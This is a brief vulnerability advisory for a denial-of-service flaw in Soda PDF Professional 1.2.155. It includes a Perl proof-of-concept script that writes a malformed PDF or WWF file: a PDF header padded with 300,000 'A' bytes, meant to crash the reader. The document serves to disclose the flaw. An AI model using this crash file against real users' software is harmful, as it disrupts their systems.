Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)
Soda PDF Pro suffers from a restriction of service (RoS) vulnerability when handling PDF or WWF file formats which can be exploited by malicious people to cause a denial of service scenario.
——–perl code——-
use strict;
my $file = “Midnight_in_Paris.pdf”; # or .wwf
my $tovar = “\x25\x50\x44\x46\x0A”.”\x41″ x 300000;
print “\n\n[*] Creating $file file…\n”;
open ZSL, “>./$file” || die “\nCan’t open $file: $!”;
print ZSL $tovar;
print “\n[.] File successfully mounted!\n\n”;
close ZSL;
——–/perl code——-
Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5056.php